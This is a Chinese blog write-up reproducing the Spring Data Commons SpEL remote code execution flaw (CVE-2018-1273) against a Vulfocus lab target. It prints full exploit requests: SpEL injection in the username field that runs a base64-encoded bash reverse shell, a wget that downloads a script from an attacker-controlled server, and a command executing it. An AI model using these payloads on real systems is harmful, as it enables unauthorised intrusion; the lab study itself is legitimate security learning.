spring 代码执行 (CVE-2018-1273)


所有文章,仅供安全研究与学习之用,后果自负!

spring 代码执行 (CVE-2018-1273)

0x01 漏洞描述

Spring Expression Language是一个功能强大的表达式 语言支持查询和在运行时操作一个对象图。 攻击者可以在未获得授权的情况下,将精心制作的请求参数注入到存在该漏洞的服务器上,从而发起远程代码执行攻击。

0x02 影响范围

0x03 漏洞复现

(1)访问靶场
从叶子图标可知 是 spring框架
在这里插入图片描述
(2)访问/users

http://vulfocus.fofa.so:56622/users

在这里插入图片描述

(3) 注册用户 提交抓包
在这里插入图片描述

在这里插入图片描述
(4) 构造payload 发包测试
状态码为500的话 代码才可能执行成功

Java Runtime.exe() 执行命令与反弹shell 要进行编码
反弹shell
payload

	username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCRJRlMkOS1pPiYvZGV2L3R2PCYx}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

编码后bash 反弹 状态码都是200 监听机也未返回shell未成功
在这里插入图片描述
看别人复现都是 直接base64编码 执行就反弹了shell
不知道为什么 我这里 无论是在线环境 还是自己docker启动的环境 都返回状态码200 反弹shell没有成功

不知道其他师傅怎么做的

wget反弹shell

payload

sername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget --output-document /tmp/rce VPSip地址/cmd.txt")]=&password=&repeatedPassword=
POST /users?page=&size=5 HTTP/1.1
Host: vulfocus.fofa.so:34570
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
Origin: http://vulfocus.fofa.so:34570
Connection: close
Referer: http://vulfocus.fofa.so:34570/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget --output-document /tmp/rce VPSIP地址/cmd.txt")]=&password=&repeatedPassword=

在这里插入图片描述

执行成功
在这里插入图片描述
bash /tmp/rce 执行反弹shell脚本

POST /users?page=&size=5 HTTP/1.1
Host: vulfocus.fofa.so:34570
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Origin: http://vulfocus.fofa.so:34570
Connection: close
Referer: http://vulfocus.fofa.so:34570/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/rce")]=&password=&repeatedPassword=

在这里插入图片描述
反弹shell成功
在这里插入图片描述

0x04 漏洞修复

升级版本

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值